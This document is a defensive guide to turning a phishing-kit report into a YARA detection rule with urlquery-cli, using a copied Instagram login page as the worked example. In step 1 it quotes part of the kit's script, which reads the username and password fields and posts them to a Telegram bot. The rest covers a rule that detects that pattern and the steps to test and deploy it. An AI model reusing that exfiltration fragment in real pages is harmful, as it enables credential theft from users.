Writing a YARA rule from a report
A report of a phishing kit holds the code the kit needs to work. A YARA rule built from that code catches the kit's next deployments wherever they are hosted, on every new analysis, which a watchlist of hosts can't. This guide writes one from a real report, tests it against reports it should and shouldn't match, and shows how to choose between a precise rule for one kit and a broader one for its family.
It uses urlquery-cli. For the rule editor on urlquery.net and what a test shows, see YARA rules and Testing YARA rules; this guide is the worked case.
1. Find the code that does the work
Start from a report of the kit, and look for the code only the kit has: its own scripts, not the brand's libraries it copies.
urlquery-cli report get <report_id> > kit.json
# Scripts seen in a handful of reports: the kit's own code.
jq -r '.javascript.script[] | select(.times_seen <= 5) | [.sha256, .times_seen, .url.addr] | @tsv' kit.json
# Read one as text. It comes from the phishing site: don't run it.
urlquery-cli report resource <report_id> <sha256> --file - | less
The example kit, a copied Instagram login page, has two short inline scripts. One of them, with the bot's token left out:
document.body.addEventListener("click", function () {
const usernameInput = document.querySelector("input[name='username'], input[type='text']");
const passwordInput = document.querySelector("input[name='password'], input[type='password']");
…
const message = `🟢 Yeni Giriş!\n👤 Kullanıcı: ${username}\n🔑 Şifre: ${password}`;
fetch(`https://api.telegram.org/bot${token}/sendMessage`, { method: "POST", … });
What to take, and what to leave:
| Take | Leave |
|---|---|
| What the kit can't work without: the Telegram API call, the password field it reads | Values that change per deployment: the bot token, the chat ID, the host |
| Unusual text: the Turkish message template ("Yeni Giriş", "new login") | Words every login page has: login, password, submit |
Code structure that survives renaming: the field selectors, the sendMessage call | The brand's own code and assets, which match the real site |
2. Write the draft
rule telegram_login_exfil
{
meta:
urlquery_alert = "Login sent to a Telegram bot"
urlquery_verdict = "phishing"
urlquery_severity = "high"
strings:
$tg = "api.telegram.org/bot" ascii
$send = "sendMessage" ascii
$pw1 = "input[type='password']" ascii
$pw2 = "input[type=\"password\"]" ascii
$pw3 = "type=password" ascii
condition:
filesize < 200KB and $tg and $send and any of ($pw*)
}
- Several strings, all needed. The Telegram call alone, the password field alone, or
sendMessagealone each appear on legitimate pages; together they describe a page that sends a password to Telegram. - Variants in one set:
any of ($pw*)covers the quoting styles kits use. filesizeskips large bundles, where unrelated strings meet by chance.metasets the alert's text, verdict and severity on matching reports.
urlquery-cli yara validate telegram.yar --summary
3. Test it, in three sets
One test proves little. Test against three sets of reports, and read every match:
- Should match: the report you took the strings from, and other reports of the kit.
- Should not match, the brand: the real site's login page. A rule that matches it would alert on the real site.
- Should not match, the neighbourhood: legitimate pages with the same ingredients, here pages that use the Telegram API.
# A small sweep: does the draft match each report of a search?
sweep() {
for id in $(urlquery-cli report search "$1" --limit 10 | jq -r '.items[].report_id'); do
n=$(urlquery-cli yara test telegram.yar "$id" | jq '.matches | length')
echo "$n $id"
done
}
urlquery-cli yara test telegram.yar <kit_report_id> --summary # 1
sweep 'tags:telegram_bot AND tags:phishing' # 1, the family
sweep 'url.domain:instagram.com AND NOT tags:phishing' # 2
sweep 'http.url.fqdn:api.telegram.org AND NOT tags:telegram_bot' # 3
Each test compiles the rule and counts against your YARA write quota, so keep sweeps to a few dozen reports. When a test answers 429, wait the time it gives.
4. Read the results
The example draft matched the kit's report (both scripts), none of 8 real Instagram pages, and none of 10 pages using the Telegram API. It also matched none of 15 other phishing kits that send to Telegram. It is precise, and narrow: it catches this kit's code, not the family's.
A looser draft, with only $tg and $send, found 6 of those 15 kits, and also matched pages that use the Telegram API and had no phishing tag. Before you call those false positives, open them. Most were phishing too, fake "Cloud Share" and document pages that urlquery's own rules hadn't tagged; one was a hosting provider's error page. A report without a phishing tag is not proof that it's benign. Count a match as a false positive only after you have looked at the page.
| Result | What to do |
|---|---|
| The kit's report doesn't match | The strings aren't in what is scanned. Check where they are: an inline script, the final DOM, a response body. See What is scanned. |
| The real brand's page matches | You took the brand's code. Replace those strings with the kit's own. |
| Legitimate neighbours match | Add a string the kit needs and they don't have, or tighten the condition. |
| Too few of the family match | Decide whether you want this kit or the family. Both can go in one detection rule: a precise YARA rule with a high severity and a broader one with a lower severity, so the rule's statistics cover the whole threat and show which part fires. See Rule sets and detection rules. |
5. Save it, and watch the first days
urlquery-cli yara set create "Phishing kits" --visibility private
urlquery-cli yara rule create <set_id> "Telegram login exfiltration" telegram.yar \
--visibility private --alert-visibility private
A saved rule scans every new analysis within a few minutes, never existing reports. Check it after a day:
urlquery-cli yara rule stats <rule_id> --days 1 --summary
urlquery-cli yara rule matches <rule_id> --days 1 --summary
-
Far more matches than the sweeps suggested, or matches across many unrelated sites: pause it, tighten it, test it again, and switch it back on with the new source:
urlquery-cli yara rule update <rule_id> --enabled=falseurlquery-cli yara test telegram.yar <kit_report_id> --summaryurlquery-cli yara rule update <rule_id> --file telegram.yar --enabled=trueA paused rule stops running within about five minutes and keeps its match history.
-
No matches for days: the kit may have changed, or the rule may be too narrow. Search for the kit's newest deployment and test the rule against it.
-
When the kit changes, test the current rule against a new report, and update the source with
urlquery-cli yara rule update <rule_id> --file telegram.yar. Keep the old strings as long as old copies are still deployed.
For search queries to find reports to test with, see YARA rules: following your matches, and for the investigation the rule comes out of, Investigating a phishing URL.